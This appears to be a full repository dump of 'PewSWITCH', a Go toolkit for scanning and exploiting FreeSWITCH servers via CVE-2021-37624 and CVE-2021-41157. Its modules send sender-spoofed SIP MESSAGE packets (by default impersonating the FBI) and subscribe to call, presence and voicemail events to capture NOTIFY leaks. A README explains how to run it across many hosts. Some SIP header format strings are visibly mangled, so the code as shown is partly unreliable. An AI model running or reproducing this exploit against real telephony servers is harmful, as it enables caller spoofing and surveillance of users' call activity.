├── pewswitch-results
├── .gitkeep
├── sample-report.csv
└── sample-report.json
├── .gitignore
├── go.mod
├── extensions-sample.txt
├── messages-sample.csv
├── LICENSE
├── conf.go
├── cve-2021-37624.go
├── main.go
├── cve-2021-41157.go
├── README.md
└── utils.go
/pewswitch-results/.gitkeep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.json
2 | *.csv
3 | pewswitch
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module pewswitch
2 |
3 | go 1.17
4 |
--------------------------------------------------------------------------------
/extensions-sample.txt:
--------------------------------------------------------------------------------
1 | 1005@192.168.0.108
2 | 1001@192.168.0.108:5060
--------------------------------------------------------------------------------
/messages-sample.csv:
--------------------------------------------------------------------------------
1 | sender_name,sender_phone,message
2 | FBI,022-324-3000,FBI here. Open your door!
3 | 0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
4 | SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2021 Pinaki Mondal (@0xInfection).
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining
4 | a copy of this software and associated documentation files (the
5 | "Software"), to deal in the Software without restriction, including
6 | without limitation the rights to use, copy, modify, merge, publish,
7 | distribute, sublicense, and/or sell copies of the Software, and to
8 | permit persons to whom the Software is furnished to do so, subject to
9 | the following conditions:
10 |
11 | The above copyright notice and this permission notice shall be
12 | included in all copies or substantial portions of the Software.
13 |
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
17 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
18 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
19 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
20 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--------------------------------------------------------------------------------
/conf.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "sync"
6 | "time"
7 | )
8 |
9 | type (
10 | JSONTime time.Time
11 | ExpDetails41157 struct {
12 | Extension string `json:"extension"`
13 | NotifsRecvd []struct {
14 | Timestamp JSONTime `json:"timestamp"`
15 | Message string `json:"notification"`
16 | } `json:"notifications_received"`
17 | }
18 | ExpDetails37624 struct {
19 | Extension string `json:"extension"`
20 | SentMessages []struct {
21 | Message string `json:"message"`
22 | Timestamp JSONTime `json:"timestamp"`
23 | } `json:"sent_messages"`
24 | SentSuccessfully bool `json:"sent_successfully"`
25 | }
26 | fResult struct {
27 | Host string `json:"host"`
28 | Details struct {
29 | CVE202137624 struct {
30 | IsVulnerable bool `json:"is_vulnerable"`
31 | ExploitDetails []ExpDetails37624 `json:"exploit_details"`
32 | } `json:"cve_2021_37624,omitempty"`
33 | CVE202141157 struct {
34 | IsVulnerable bool `json:"is_vulnerable"`
35 | ExploitDetails []ExpDetails41157 `json:"exploit_details"`
36 | } `json:"cve_2021_41157,omitempty"`
37 | } `json:"vulnerability_details"`
38 | }
39 | )
40 |
41 | var (
42 | delay, maxConcurrent, maxExpires int
43 | userAgent, cveToScan, extensions string
44 | extFile, outdir, sendmsgs string
45 | monEvents, outFormat string
46 | allexts, allEvents []string
47 | finalResults []fResult
48 | msgstosend [][]string
49 |
50 | version = "0.1"
51 | allvulns = []string{"cve-2021-37624", "cve-2021-41157"}
52 | vulnToModule = map[string]interface{}{
53 | "cve-2021-37624": cve2021x37624,
54 | "cve-2021-41157": cve2021x41157,
55 | }
56 | globalTex = &sync.Mutex{}
57 | lackofart = fmt.Sprintf(`
58 | ___ . ____ _ __ __
59 | / _ \___|\ __/ __/| __(_) /_____/ /
60 | / ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
61 | /_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v%s
62 |
63 | "where we pew pew pew freeswitch"`, version)
64 | defaultMsgText = []string{
65 | "FBI",
66 | "022-324-3000",
67 | "FBI here. Open your door!",
68 | }
69 | )
70 |
71 | func (t JSONTime) MarshalJSON() ([]byte, error) {
72 | stamp := fmt.Sprintf("\"%s\"", time.Time(t).Format(time.RFC3339))
73 | return []byte(stamp), nil
74 | }
75 |
--------------------------------------------------------------------------------
/pewswitch-results/sample-report.csv:
--------------------------------------------------------------------------------
1 | extension,host,cve,is_vulnerable,message,timestamp
2 | 1005,192.168.0.108,CVE-2021-37624,true,FBI here. Open your door!,2021-12-05T19:59:22+05:30
3 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:22+05:30
4 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:22+05:30
5 | 1005,192.168.0.108,CVE-2021-41157,true," \n\n \n \n\n closed\n \n \n \n Unregistered\n \n",2021-12-05T19:59:22+05:30
6 | 1005,192.168.0.108,CVE-2021-41157,true,Messages-Waiting: no\n\nMessage-Account: sip:1005@192.168.0.108,2021-12-05T19:59:22+05:30
7 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:23+05:30
8 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:23+05:30
9 | 1005,192.168.0.108,CVE-2021-41157,true," \n\n \n \n\n closed\n \n \n \n Unregistered\n \n",2021-12-05T19:59:23+05:30
10 | 1005,192.168.0.108,CVE-2021-41157,true,Messages-Waiting: no\n\nMessage-Account: sip:1005@192.168.0.108,2021-12-05T19:59:23+05:30
11 | 1005,192.168.0.108,CVE-2021-41157,true,"\n\n",2021-12-05T19:59:25+05:30
12 |
--------------------------------------------------------------------------------
/cve-2021-37624.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "net"
7 | "strings"
8 | "time"
9 | )
10 |
11 | func cve2021x37624(host string, pResult *fResult) {
12 | conn, err := net.DialTimeout("udp", strings.Split(host, "@")[1], 2*time.Second)
13 | if err != nil {
14 | log.Println(err.Error())
15 | return
16 | }
17 | defer conn.Close()
18 |
19 | localIP := conn.LocalAddr().String()
20 | var expdets ExpDetails37624
21 | expdets.Extension = strings.Split(host, "@")[0]
22 | for _, message := range msgstosend {
23 | if message[0] == "sender_name" {
24 | continue
25 | }
26 | var payload string
27 | payload += fmt.Sprintf("MESSAGE sip:%s SIP/2.0\r\n", host)
28 | payload += fmt.Sprintf("Via: SIP/2.0/UDP %s;rport;branch=z9hG4bK-%s\r\n", localIP, genRandStr(8))
29 | payload += fmt.Sprintf("From: \"%s\" ;tag=%s\r\n", message[0], message[1], strings.Split(host, "@")[1], genRandStr(8))
30 | payload += fmt.Sprintf("To: \r\n", host)
31 | payload += "CSeq: 1 MESSAGE\r\n"
32 | payload += "Content-Type: text/plain\r\n"
33 | payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20))
34 | payload += fmt.Sprintf("Contact: \r\n", message[1], strings.Split(host, "@")[1])
35 | payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent)
36 | payload += "Max-Forwards: 70\r\n"
37 | payload += fmt.Sprintf("Content-Length: %d\r\n", len(message[2]))
38 | payload += "\r\n"
39 | payload += message[2]
40 |
41 | conn.SetDeadline(time.Now().Add(5 * time.Second))
42 | _, err = conn.Write([]byte(payload))
43 | if err != nil {
44 | log.Println(err.Error())
45 | }
46 | log.Printf(`Sent "%s" to %s!`, message[2], host)
47 | mbuff := make([]byte, 64)
48 | _, err = conn.Read(mbuff)
49 | if err != nil {
50 | log.Println(err.Error())
51 | }
52 | expdets.SentMessages = append(expdets.SentMessages, struct {
53 | Message string "json:\"message\""
54 | Timestamp JSONTime "json:\"timestamp\""
55 | }{
56 | Message: message[2],
57 | Timestamp: JSONTime(time.Now()),
58 | })
59 | if validateRex.Match(mbuff) {
60 | expdets.SentSuccessfully = true
61 | pResult.Details.CVE202137624.IsVulnerable = true
62 | }
63 | time.Sleep(time.Duration(delay) * time.Second)
64 | }
65 | globalTex.Lock()
66 | pResult.Details.CVE202137624.ExploitDetails = append(pResult.Details.CVE202137624.ExploitDetails, expdets)
67 | globalTex.Unlock()
68 | if expdets.SentSuccessfully {
69 | log.Println("Exploit completed for CVE-2021-37624:", host)
70 | } else {
71 | log.Println("Exploit incomplete for CVE-2021-37624:", host)
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/pewswitch-results/sample-report.json:
--------------------------------------------------------------------------------
1 | {
2 | "host": "192.168.0.108",
3 | "vulnerability_details": {
4 | "cve_2021_37624": {
5 | "is_vulnerable": true,
6 | "exploit_details": [
7 | {
8 | "extension": "1005",
9 | "sent_messages": [
10 | {
11 | "message": "FBI here. Open your door!",
12 | "timestamp": "2021-12-05T20:00:27+05:30"
13 | }
14 | ],
15 | "sent_successfully": true
16 | }
17 | ]
18 | },
19 | "cve_2021_41157": {
20 | "is_vulnerable": true,
21 | "exploit_details": [
22 | {
23 | "extension": "1005",
24 | "notifications_received": [
25 | {
26 | "timestamp": "2021-12-05T20:00:28+05:30",
27 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"0\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e"
28 | },
29 | {
30 | "timestamp": "2021-12-05T20:00:28+05:30",
31 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"1\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e"
32 | },
33 | {
34 | "timestamp": "2021-12-05T20:00:28+05:30",
35 | "notification": "\u003c?xml version=\"1.0\" encoding=\"ISO-8859-1\"?\u003e \n\u003cpresence xmlns='urn:ietf:params:xml:ns:pidf' \nxmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \nxmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \nxmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='sip:1005@192.168.0.108'\u003e\n \u003ctuple id='t6a5ed77e'\u003e\n \u003cstatus\u003e\r\n \u003cbasic\u003eclosed\u003c/basic\u003e\n \u003c/status\u003e\n \u003c/tuple\u003e\n \u003cdm:person id='p06360c4a'\u003e\n \u003cdm:note\u003eUnregistered\u003c/dm:note\u003e\n \u003c/dm:person\u003e\n\u003c/presence\u003e"
36 | },
37 | {
38 | "timestamp": "2021-12-05T20:00:28+05:30",
39 | "notification": "Messages-Waiting: no\r\nMessage-Account: sip:1005@192.168.0.108"
40 | },
41 | {
42 | "timestamp": "2021-12-05T20:00:29+05:30",
43 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"0\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e"
44 | },
45 | {
46 | "timestamp": "2021-12-05T20:00:29+05:30",
47 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"1\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e"
48 | },
49 | {
50 | "timestamp": "2021-12-05T20:00:29+05:30",
51 | "notification": "\u003c?xml version=\"1.0\" encoding=\"ISO-8859-1\"?\u003e \n\u003cpresence xmlns='urn:ietf:params:xml:ns:pidf' \nxmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \nxmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \nxmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='sip:1005@192.168.0.108'\u003e\n \u003ctuple id='t6a5ed77e'\u003e\n \u003cstatus\u003e\r\n \u003cbasic\u003eclosed\u003c/basic\u003e\n \u003c/status\u003e\n \u003c/tuple\u003e\n \u003cdm:person id='p06360c4a'\u003e\n \u003cdm:note\u003eUnregistered\u003c/dm:note\u003e\n \u003c/dm:person\u003e\n\u003c/presence\u003e"
52 | },
53 | {
54 | "timestamp": "2021-12-05T20:00:29+05:30",
55 | "notification": "Messages-Waiting: no\r\nMessage-Account: sip:1005@192.168.0.108"
56 | },
57 | {
58 | "timestamp": "2021-12-05T20:00:31+05:30",
59 | "notification": "\u003c?xml version=\"1.0\"?\u003e\n\u003cdialog-info xmlns=\"urn:ietf:params:xml:ns:dialog-info\" version=\"0\" state=\"full\" entity=\"sip:1005@192.168.0.108\"\u003e\n\u003c/dialog-info\u003e"
60 | }
61 | ]
62 | }
63 | ]
64 | }
65 | }
66 | }
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "os"
8 | "strings"
9 | "sync"
10 | "time"
11 | )
12 |
13 | func processHostExt(host string) {
14 | var pResult fResult
15 | for vuln, runner := range vulnToModule {
16 | if isItemIn(vuln, &allvulns) {
17 | runner.(func(string, *fResult))(host, &pResult)
18 | }
19 | }
20 | pResult.Host = strings.Split(strings.Split(host, "@")[1], ":")[0]
21 | finalResults = append(finalResults, pResult)
22 | }
23 |
24 | func initScan(allhosts, allexts *[]string) {
25 | log.Println("Checking if hosts are alive and responding to SIP...")
26 |
27 | var alivehosts []string
28 | xmap := checkAlive(allhosts)
29 | for target, alive := range xmap {
30 | if alive {
31 | alivehosts = append(alivehosts, target)
32 | } else {
33 | log.Fatalf("Looks like '%s' is down / not responding to SIP.", target)
34 | }
35 | }
36 |
37 | hosts := make(chan string, maxConcurrent)
38 | maxProcs := new(sync.WaitGroup)
39 | maxProcs.Add(maxConcurrent)
40 |
41 | cwd, _ := os.Getwd()
42 | log.Printf("Using output directory %s under %s...", outdir, cwd)
43 | _, err := os.Stat(outdir)
44 | if err != nil {
45 | if os.IsNotExist(err) {
46 | log.Println("Output directory doesn't exist. Creating one...")
47 | if err = os.Mkdir(outdir, 0777); err != nil {
48 | log.Fatalln(err.Error())
49 | }
50 | }
51 | }
52 |
53 | startTime := time.Now()
54 | log.Println("Starting scan at:", startTime.String())
55 | for i := 0; i < maxConcurrent; i++ {
56 | go func() {
57 | for {
58 | host := <-hosts
59 | if host == "" {
60 | break
61 | }
62 | processHostExt(host)
63 | }
64 | maxProcs.Done()
65 | }()
66 | }
67 |
68 | if len(extFile) < 1 {
69 | for _, xhost := range alivehosts {
70 | for _, ext := range *allexts {
71 | hosts <- fmt.Sprintf("%s@%s", ext, xhost)
72 | }
73 | }
74 | } else {
75 | for _, host := range *readExtensionsFromFile(extFile) {
76 | *allhosts = append(*allhosts, host)
77 | if !strings.Contains(host, ":") {
78 | host = fmt.Sprintf("%s:5060", host)
79 | }
80 | hosts <- host
81 | }
82 | }
83 |
84 | close(hosts)
85 | maxProcs.Wait()
86 |
87 | if outFormat == "json" {
88 | log.Println("Writing results to destination directory as JSON...")
89 | if err = writeToJSON(&finalResults); err != nil {
90 | log.Panicln(err)
91 | }
92 | } else if outFormat == "csv" {
93 | log.Println("Writing results to destination directory as CSV...")
94 | if err = writeToCSV(&finalResults); err != nil {
95 | log.Panicln(err)
96 | }
97 | }
98 |
99 | log.Println("Scan finished at:", time.Now().String())
100 | log.Printf("Total %d hosts scanned in %s.", len(*allhosts), time.Since(startTime).String())
101 | }
102 |
103 | func main() {
104 | flag.IntVar(&delay, "delay", 0, "Delay in seconds between subsequent requests.")
105 | flag.IntVar(&maxConcurrent, "threads", 2, "Number of threads to use while scanning.")
106 | flag.IntVar(&maxExpires, "expires", 60, "Maximum value of the 'Expires' header for SUBSCRIBE requests.")
107 | flag.StringVar(&monEvents, "events", "", "Comma-separated list of events to be subscribed to. All events are monitored by default.")
108 | flag.StringVar(&userAgent, "user-agent", fmt.Sprintf("pewswitch/%s", version), "Custom user-agent string to use.")
109 | flag.StringVar(&cveToScan, "cve", "", "Specify a specific CVE to scan. Both vulns are tested by default.")
110 | flag.StringVar(&extensions, "exts", "", "Comma separated list of extensions to scan.")
111 | flag.StringVar(&extFile, "ext-file", "", "Specify a file containing extensions instead of '-exts'.")
112 | flag.StringVar(&sendmsgs, "msg-file", "", "Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).")
113 | flag.StringVar(&outdir, "out-dir", "./pewswitch-results/", "Output directory to write the results to.")
114 | flag.StringVar(&outFormat, "out-format", "json", "Output format type of the results. Can be either 'json' or 'csv'.")
115 |
116 | mainUsage := func() {
117 | fmt.Fprint(os.Stdout, lackofart, "\n\n")
118 | fmt.Fprintf(os.Stdout, "Usage of %s:\n", os.Args[0])
119 | flag.PrintDefaults()
120 | }
121 | flag.Usage = mainUsage
122 | flag.Parse()
123 | fmt.Print(lackofart, "\n\n")
124 | targets := flag.Args()
125 | if (len(targets) < 1 || len(extensions) < 1) && len(extFile) < 1 {
126 | log.Println("You need to supply at least a valid target & extension to scan!\n\nUsage:")
127 | flag.PrintDefaults()
128 | os.Exit(1)
129 | }
130 | if outFormat != "json" && outFormat != "csv" {
131 | log.Println("The only output formats allowed are json and csv.")
132 | flag.PrintDefaults()
133 | os.Exit(1)
134 | }
135 | if len(cveToScan) != 0 {
136 | allvulns = []string{strings.ToLower(cveToScan)}
137 | }
138 | xflag := false
139 | for x := range targets {
140 | if !strings.Contains(targets[x], ":") {
141 | xflag = true
142 | targets[x] = fmt.Sprintf("%s:5060", targets[x])
143 | }
144 | }
145 | // just letting the user know we're defaulting to 5060.
146 | if xflag {
147 | log.Println("No port supplied, using default port 5060 for targets...")
148 | }
149 | for _, ext := range strings.Split(extensions, ",") {
150 | allexts = append(allexts, strings.TrimSpace(ext))
151 | }
152 | if len(sendmsgs) > 0 {
153 | msgstosend = append(msgstosend, readCsvFile(sendmsgs)...)
154 | } else {
155 | msgstosend = append(msgstosend, defaultMsgText)
156 | }
157 | if len(monEvents) > 0 {
158 | for _, x := range strings.Split(monEvents, ",") {
159 | allEvents = append(allEvents, strings.TrimSpace(x))
160 | }
161 | } else {
162 | allEvents = events
163 | }
164 | initScan(&targets, &allexts)
165 | }
166 |
--------------------------------------------------------------------------------
/cve-2021-41157.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "log"
7 | "net"
8 | "regexp"
9 | "strings"
10 | "time"
11 | )
12 |
13 | var (
14 | maxBufLen = 20480
15 | dialTimeout = 2
16 | events = []string{
17 | "talk", "hold", "conference", "as-feature-event",
18 | "dialog", "line-seize", "call-info", "sla",
19 | "include-session-description", "presence",
20 | "presence.winfo", "message-summary", "refer",
21 | }
22 | rportRex = regexp.MustCompile(`(?i)rport=(\d{1,5})`)
23 | recvdRex = regexp.MustCompile(`(?i)received=((?:\d{1,3}\.){3}\d{1,3})`)
24 | validateRex = regexp.MustCompile(`(?i)20\d\s*(?:OK|Accepted)`)
25 | sanitiseRex = regexp.MustCompile(`(?:\r|\n)`)
26 | serverHead = regexp.MustCompile(`(?i)(?:server|user\-agent):\s*(.+)`)
27 | )
28 |
29 | func cve2021x41157(host string, pResult *fResult) {
30 | mextn := strings.Split(host, "@")[0]
31 | mhost := strings.Split(host, "@")[1]
32 | conn, err := net.DialTimeout("udp", mhost, time.Duration(dialTimeout)*time.Second)
33 | if err != nil {
34 | log.Println(err.Error())
35 | return
36 | }
37 | defer conn.Close()
38 |
39 | localIP := conn.LocalAddr().String()
40 | var payload string
41 | payload += fmt.Sprintf("SUBSCRIBE sip:%s;transport=UDP SIP/2.0\r\n", strings.Split(host, ":")[0])
42 | payload += fmt.Sprintf("Via: SIP/2.0/UDP 127.0.0.1:12701;rport;branch=z9hG4bK-%s\r\n", genRandStr(10))
43 | payload += "Accept: */*\r\n"
44 | payload += fmt.Sprintf("To: \r\n", host)
45 | payload += fmt.Sprintf("From: ;tag=%s\r\n", strings.Split(mhost, ":")[0], genRandStr(8))
46 | payload += fmt.Sprintf("Contact: \r\n", mextn)
47 | payload += "Max-Forwards: 70\r\n"
48 | payload += fmt.Sprintf("Expires: %d\r\n", maxExpires)
49 | payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent)
50 | payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20))
51 | payload += "CSeq: 1 SUBSCRIBE\r\n"
52 | payload += "Event: dialog\r\n"
53 | payload += "Content-Length: 0\r\n"
54 | payload += "\r\n"
55 |
56 | //conn.SetDeadline(time.Now().Add(time.Duration(connTimeout) * time.Second))
57 | _, err = conn.Write([]byte(payload))
58 | if err != nil {
59 | log.Println(err.Error())
60 | return
61 | }
62 | time.Sleep(time.Duration(delay) * time.Second)
63 | buff := make([]byte, maxBufLen)
64 | dchan := make(chan []byte, 1)
65 | go func() {
66 | _, err = conn.Read(buff)
67 | if err != nil {
68 | log.Println(err.Error())
69 | }
70 | dchan <- buff
71 | }()
72 | select {
73 | case <-dchan:
74 | case <-time.After(5 * time.Second):
75 | log.Println("Received initial dialog connection timeout from:", host)
76 | log.Println("Stopping all further checks for CVE-2021-41157...")
77 | return
78 | }
79 |
80 | r := rportRex.FindAllSubmatch(buff, -1)
81 | s := recvdRex.FindAllSubmatch(buff, -1)
82 | recvd, rport := "", string(r[0][1])
83 | if len(s) > 0 {
84 | recvd = string(s[0][1])
85 | } else {
86 | recvd = localIP
87 | }
88 |
89 | log.Printf("Trying to subscribe extension for %d seconds...", maxExpires)
90 | for _, event := range allEvents {
91 | var payload string
92 | payload += fmt.Sprintf("SUBSCRIBE sip:%s;transport=UDP SIP/2.0\r\n", strings.Split(host, ":")[0])
93 | payload += fmt.Sprintf("Via: SIP/2.0/UDP %s:%s;rport;branch=z9hG4bK-%s\r\n", recvd, rport, genRandStr(10))
94 | payload += "Accept: */*\r\n"
95 | payload += fmt.Sprintf("To: \r\n", host)
96 | payload += fmt.Sprintf("From: ;tag=%s\r\n", strings.Split(mhost, ":")[0], genRandStr(8))
97 | payload += fmt.Sprintf("Contact: \r\n", mextn, recvd, rport)
98 | payload += "Max-Forwards: 70\r\n"
99 | payload += fmt.Sprintf("Expires: %d\r\n", maxExpires)
100 | payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent)
101 | payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20))
102 | payload += "CSeq: 1 SUBSCRIBE\r\n"
103 | payload += fmt.Sprintf("Event: %s\r\n", event)
104 | payload += "Content-Length: 0\r\n"
105 | payload += "\r\n"
106 | _, err := conn.Write([]byte(payload))
107 | if err != nil {
108 | log.Println(err.Error())
109 | continue
110 | }
111 | log.Printf("Subscribing to extension %s for event: %s", mextn, event)
112 | time.Sleep(time.Duration(delay) * time.Second)
113 | }
114 | // we keep reading for the time in our Expires header
115 | conn.SetReadDeadline(time.Now().Add(time.Duration(maxExpires) * time.Second))
116 | var expdets ExpDetails41157
117 | expdets.Extension = mextn
118 | notcount := 0
119 | log.Printf("Starting to listen for NOTIFY messages for %d seconds...", maxExpires)
120 | for x := time.Now(); time.Since(x) < time.Duration(maxExpires)*time.Second; {
121 | buff := make([]byte, maxBufLen)
122 | _, err := conn.Read(buff)
123 | if err != nil {
124 | // if we hit the connection deadline, we don't continue reading any more
125 | if strings.Contains(err.Error(), "i/o timeout") {
126 | break
127 | } else {
128 | log.Println(err.Error())
129 | }
130 | }
131 | buff = bytes.Trim(buff, "\x00")
132 | body := strings.TrimSpace(strings.Split(string(buff), "\r\n\r\n")[1])
133 | if len(body) > 0 {
134 | thisTime := time.Now()
135 | fmt.Printf("\r%d/%02d/%02d %02d:%02d:%02d Notifications received for extension %s: %d",
136 | thisTime.Year(), thisTime.Month(), thisTime.Day(), thisTime.Hour(),
137 | thisTime.Minute(), thisTime.Second(), mextn, notcount)
138 | pResult.Details.CVE202141157.IsVulnerable = true
139 | expdets.NotifsRecvd = append(expdets.NotifsRecvd, struct {
140 | Timestamp JSONTime `json:"timestamp"`
141 | Message string `json:"notification"`
142 | }{
143 | Timestamp: JSONTime(thisTime),
144 | Message: body,
145 | })
146 | notcount++
147 | }
148 | }
149 | fmt.Print("\n")
150 | globalTex.Lock()
151 | pResult.Details.CVE202141157.ExploitDetails = append(pResult.Details.CVE202141157.ExploitDetails, expdets)
152 | globalTex.Unlock()
153 | if len(expdets.NotifsRecvd) > 1 {
154 | log.Println("Exploit completed for CVE-2021-41157:", host)
155 | } else {
156 | log.Println("Exploit likely incomplete for CVE-2021-41157:", host)
157 | }
158 | }
159 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PewSWITCH
2 | A FreeSWITCH specific scanning and exploitation toolkit for CVE-2021-37624 and CVE-2021-41157.
3 |
4 | > Related blog: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
5 |
6 | ## Usage
7 | The help statement of the tool is as below:
8 | ```groovy
9 | $ ./pewswitch --help
10 |
11 | ___ . ____ _ __ __
12 | / _ \___|\ __/ __/| __(_) /_____/ /
13 | / ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
14 | /_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
15 |
16 | "where we pew pew pew freeswitch"
17 |
18 | Usage of ./pewswitch:
19 | -cve string
20 | Specify a specific CVE to scan. Both vulns are tested by default.
21 | -delay int
22 | Delay in seconds between subsequent requests. (default 0)
23 | -events string
24 | Comma-separated list of events to be subscribed to. All events are monitored by default.
25 | -expires int
26 | Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
27 | -ext-file string
28 | Specify a file containing extensions instead of '-exts'.
29 | -exts string
30 | Comma separated list of extensions to scan.
31 | -msg-file string
32 | Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
33 | -out-dir string
34 | Output directory to write the results to. (default "./pewswitch-results/")
35 | -out-format string
36 | Output format type of the results. Can be either 'json' or 'csv'. (default "json")
37 | -threads int
38 | Number of threads to use while scanning. (default 2)
39 | -user-agent string
40 | Custom user-agent string to use. (default "pewswitch/0.1")
41 | ```
42 |
43 | ### Scanning for a specific vulnerability
44 | By default the tool scans for both vulnerabilites. If you want to test for a specific vulnerability, you can use the `-cve` flag to test for a specific vulnerability.
45 |
46 | Example:
47 | ```groovy
48 | ./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
49 | ```
50 |
51 | ### Specifying extensions
52 | To specify extensions, you can choose either of the methods:
53 | - Specify a comma separated list of extensions via the `-exts` argument.
54 |
55 | Example:
56 | ```powershell
57 | ./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
58 | ```
59 | This will make the tool to test for combinations of pairs for each extension with every host. So the end targets that will be tested in the above command are: `1000@freeserver.voip.com`, `1001@freeserver.voip.com`, `1000@freeserver1.voip.com:5060` and `1001@freeserver1.voip.com:5060`.
60 |
61 | - Specify a file containing extensions. Note that when using a file, you need to specify both user and host. This is especially useful when you have to test specific extensions on specific servers. An example of such a file (e.g. [`extensions-sample.txt`](extensions-sample.txt)) could look like this:
62 | ```
63 | 1000@freeserver.voip.com
64 | 1001@freeserver1.voip.com:5060
65 | 1002@freeserver01.voip.com:5660
66 | ...
67 | ```
68 |
69 | Example:
70 | ```groovy
71 | ./pewswitch -ext-file extensions-sample.txt
72 | ```
73 |
74 | Note that if any port is not specified with the host, port 5060 will be used by default as the destination port.
75 |
76 | ### Output
77 | The tool can output in 2 different formats, namely JSON and CSV. The default output format is JSON. Output format can be changed using the `-out-format` switch.
78 |
79 | Example:
80 | ```groovy
81 | ./pewswitch -exts 1000 -out-format csv freeserver.voip.com
82 | ```
83 |
84 | You can find samples of reports in [`json`](pewswitch-results/sample-report.json) as well as [`csv`](pewswitch-results/sample-report.csv) format in the `./pewswitch-results/` directory.
85 |
86 | The destination output directory can be changed using the `-out-dir` argument. By default the output directory is `./pewswitch-results/` which is created in the current working directory while running the tool.
87 |
88 | Example:
89 | ```groovy
90 | ./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
91 | ```
92 |
93 | ### Request Specific Settings
94 | There are some additional packet specific settings in the tool that allows customization of requests during vulnerability validation/exploitation.
95 |
96 | #### MESSAGE packets
97 | If a server is found _vulnerable_ to CVE-2021-37624, by default a sample message from name `FBI` and number `022-324-3000` is sent to the target extension. The contents of the message looks like this: `FBI here. Open your door!`
98 |
99 | This behaviour can be changed by making use of the `-msg-file` argument. This accepts a CSV file containing the name of the sender, the phone number and lastly the message contents to be sent. An example of such a file is [`messages-sample.csv`](messages-sample.csv).
100 | ```
101 | sender_name,sender_phone,message
102 | FBI,022-324-3000,FBI here. Open your door!
103 | 0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
104 | SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
105 | ```
106 | Example:
107 | ```groovy
108 | ./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
109 | ```
110 |
111 | #### SUBSCRIBE requests
112 | By default, the tool sends SUBSCRIBE requests with a `Expires` header set at 60 seconds. It is for the same time-frame the tool will continue to listen for NOTIFY messages from the server. The value can be changed by making use of the `-expires` flag.
113 |
114 | Example:
115 | ```groovy
116 | ./pewswitch -expires 600 -ext-file extensions-sample.txt
117 | ```
118 |
119 | The tool also monitors for NOTIFY messages by subscribing to *__all__* events. A list of all events is below:
120 | - `talk`
121 | - `hold`
122 | - `conference`
123 | - `as-feature-event`
124 | - `dialog`
125 | - `line-seize`
126 | - `call-info`
127 | - `sla`
128 | - `include-session-description`
129 | - `presence`
